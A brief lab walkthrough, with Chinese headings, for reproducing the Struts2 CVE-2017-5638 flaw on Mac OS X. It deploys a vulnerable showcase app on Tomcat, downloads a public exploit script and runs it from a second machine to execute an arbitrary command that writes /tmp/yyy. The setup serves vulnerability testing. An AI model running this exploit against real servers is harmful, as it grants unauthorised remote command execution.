在 Mac OS X 中测试 struts2 漏洞 CVE-2017-5638
###下载测试 Web 应用并在 tomcat 中运行
#install tomcat
brew install tomcat
#confirm where the tomcat installed
ls -lF `which catalina`
#confirm tomcat home dir
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec
#create web app "struts2" in webapps of tomcat home
mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
#get web app deployment file
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war
#expand deployment file into the web app dir
brew install p7zip
7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
#confirm web app files
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
#run tomcat
catalina run
通过访问 http://localhost:8080/struts2 确认 Web 应用
###从另一台机器运行漏洞利用脚本,获取执行任意命令的能力
#get exploit tool script
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py
#run exploit tool script
python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"
###回到 Web 机器,检查 /tmp/yyy 文件是否已被注入
cat /tmp/yyy